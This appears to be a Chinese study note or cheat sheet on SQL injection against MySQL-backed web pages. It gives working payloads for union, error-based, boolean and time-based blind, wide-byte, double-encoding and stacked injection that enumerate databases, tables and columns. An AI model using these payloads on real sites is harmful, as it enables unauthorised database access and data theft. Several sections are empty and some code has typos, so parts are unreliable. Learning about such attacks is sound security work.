一篇SQL注入漏洞汇总,更新中…… 如有缺陷 望大佬指正
SQL注入产生的原因?
当程序执行逻辑时没有对用户输入的参数做过滤处理,使参数直接与后台数据库产生逻辑交互,即SQL注入
黑客就可以利用各种SQL注入的方法 获取数据库敏感信息
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果用户输入的SQL语句没有经过严格的执行过滤且能导致非法格式正常执行并输出数据库信息,即为SQL注入。
在有与数据库产生交互的地方,都有可能产生SQL注入漏洞。
SQL注入的危害?
SQL注入常见数据类型 字符型(String)数值型(Int)GET POST cookie型
SQL 注入常见分类:
SQL 特殊注入分类:
SQL注入常见防御方法
MySQL增删改查基础语句
create database database_name; create table table_name( id int, username varchar(100), password varchar(100) );
drop database database_name; drop table table_name; delete from table_name where id=x; delete from table_name where username='username';
insert into table_name(id,username,password) VALUES ('id','user','pwd'); update table_name set username='KIO' where id=1'; -- 把id=1这一行的username的值改为KIO use database_name;
--查询所有数据库 show databases; --查询所有数据表 show tables; --查询表内所有内容 select * from table_name; --条件查询指定列内容 select id author from table_name; --条件查询所有内容 select * from table_name where id=5;
mysqldump -u username -p sql_file_name>[路径] 重命名.sql
1. source [路径]file_name.sql; 2. 复制粘贴
回显注入
联合回显注入是通过联合查询的方式,利用SQL注入漏洞,获取回显位
通过回显位,执行闭合SQL查询语句 以获取数据库敏感信息的操作
?[参数func] 1' and 1='2# //字符型 ?[参数func] 1 and 1=2# //数字型
通过页面反响 判断正确的数据类型 一般and后面有反应的语句即为当前类型
任何SQL注入前都需要判断SQL数据类才能对症下药,白盒测试中可以通过查看源代码判断
?[null]' order by 3# //字符型 SQL注入常用注释符 --+ #
?[null]' union select 1,2,3#
?[null]' union select 1,database(),3# SQL注入常用函数名 // database() 查询当前数据库名 // user() 查询当前数据库用户名 // version() 查询当前交互的数据库信息或版本
显位在2 即在2处查询数据库名
?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata# SQL注入常用函数名 # group_concat() 将查询所有行的内容 以一行展示
?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'# # group_concat() 将查询所有行的内容 以一行展示 # table_name 表名 # tables 数据库所有表 # table_schema 查询的数据库名
?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'# # group_concat() 将查询所有行的内容 以一行展示 # column_name 列名 # columns 数据库所有列 # table_schema 查询的数据库名
?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'# # group_concat() 将查询所有行的内容 以一行展示 # column_name 列名 # columns 数据库所有列 # table_schema 查询的数据库名
报错注入
利用数据库机制,人为制造错误条件,使得查询结果能够出现在错误信息中
正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。
当正常的回显注入无法显示结果,就可以使用报错注入尝试获取结果
brint_r(mysql_error()); //显示报错信息 当开发者用了报错函数才能使用报错注入
?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))# # 0x7e 十六进制编码 在这里起到定位作用 # and 连接语句 ?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# # 0x7e 十六进制编码 在这里起到定位作用 # and 连接语句 ?[null]' and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from information_schema.tables group by x)y)#
盲注
**盲打,手工盲打和sqlmap一把梭你选**<br />**普通SQL注入无回显结果,且无法进行报错注入的情况下选用盲注**<br />**使用布尔值判断输入的SQL语句是否与后台数据库产生反应**
布尔盲注(通过布尔值,参数 观察页面变化判断)
时间盲注(观察浏览反响时间变化)
substr(database(),1,2) 从第一个字符开始,取2个字符
mid(database(),1,1) ** 从第一个字符开始,取1个字符
ascii() 把字符转换为ASCII码
ord('abcd') ** 获取字符的第一个ASCII值
left('string',length) 获取string从左边开始的length值
right('string',length) 获取string从右边开始的length值
length() ** 获取字符串长度
count()** 获取行数
布尔盲注的一般步骤:
?id=1' and left(version(),1)='5'# //获取version()开始最左边的length值判断是否是5版本
?id=1' and length(database())='8'# //判断数据库名'database()' 的字符串长度是否是8个字符
?id=1' and substr(database(),1,1)='v'# # '1,1' 表示从第一个字符开始取一个字符 # 判断数据库名'database()'的第一个字符是不是v
?id=1' and left(database(),1)='s'# # 判断数据库名'database()'最左边的第一个字符是不是s
?id=1' and ascii(substr(database(),1,1))=115# # '1,1' 表示从第一个字符开始取一个字符 # 判断数据库名'database()'的第一个字符的ascii编码值是不是115 115=s
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4# #判断表总数为4
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6# # limit 0,1 取第一个表名 判断第一个表名长度为6个字符 # 通过limit 判断所有表名的长度
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101# #通过ascii将mid查询的到第一个表的第一个字符转换为asscii码 这里101=e
网站注入无回显,无报错,且布尔盲注真假情况下,网站结果不会发生任何改变
可以使用时间盲注观察网页,分辨是否存在SQL注入
通过if判断语句,控制网站的响应时间 通过网站访问的响应时间来判断sql语句的正确性
sleep() 函数
if(exp1,exp2,exp3) if语法
通常使用第一种方法
*网站本身需要响应时间 sleep 设定值要大
?id=1' and (if((length(database())=8),sleep(10),null))# # 断数据库名长度是否为8 # sleep(10) 结果为真时 页面刷新时间为10s # null 结果为假时 返回结果为空值
?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#
?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))# #通过获取版本号最左边的第一个字符是否为5去判断数据库版本
?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))# #判断数据库中表的个数是否为4个
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+
?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+
宽字节注入
宽字节是指两个字节宽度的编码技术
\的URL编码是%5c 当用户输入%df 形成%df%5c
这时如果数据库使用了GBK编码 会自动将%df%5c识别成汉字,起到了绕过转义的效果,即存在宽字节注入。
因为汉字属于宽字节
?id=%df' order by 5# # %df是url编码的特殊字符 也是一个宽字节 # 当数据库设置了GBK编码 系统执行逻辑语句时 会判定为一个正常字符 # 这就形成了宽字节注入
HTTP头注入
当用户提交的参数未做过滤且Web程序执行逻辑代码成功执行后,将用户提交的参数直接输出在HTTP响应头中,即HTTP头注入
二次编码注入
当一个程序执行逻辑语句时,程序如果使用了addslashes()防注入函数,且又使用了urldecode()或rawurldecode()解码函数时,会产生二次编码注入的风险。
在正常的PHP中,开发者们会使用addslashes()转义特殊字符函数,可以将引号 双引号 \ 等特殊字符转义,起到了防注入的效果。
urldecode()函数是对已编码的url进行解码,且PHP会在处理提交的数据之前先进行一次解码
即二次编码注入形成的过程->
正常逻辑: 用户输入id=1' 触发 addslashes()转义函数 会把引号转义成“\”
二次编码逻辑:
这时用户输入id=1%2527 ->
PHP自身解码 id=1%27 (因为%25是%的编码 只) ->**
urldecode()触发解码 id=1%27 == id=1'
成功注入**
?id=1%2527' union select 1,2,3#
产生的前提:
使用了addslashes()等转义字符 又使用了urldecode()url解码函数
堆叠注入
当用户输入信息是,程序执行时并没有对用户输入的参数做过滤限制
且当使用多条或堆叠形式的SQL语句可以触发与数据库的交互并返回值,即存在SQL堆叠注入
使用了函数:** mysql_multi_query()**
产生原理:数据库引擎支持一次执行多条sql语句,用户就可以注入多条sql语句进行攻击
?id=1';show databases;show tables;……
二次注入
举个例子,二次注入是指一个数据库或文件内已存在恶意SQL注入语句。当用户进行读取操作时,数据库内存储的恶意SQL查询语句被成功执行,导致了注入漏洞。
用户输入的sql注入语句没有做过滤,被成功写入到数据库。当再次调用时,存储在数据库中的恶意数据执行SQL查询时,发生了SQL注入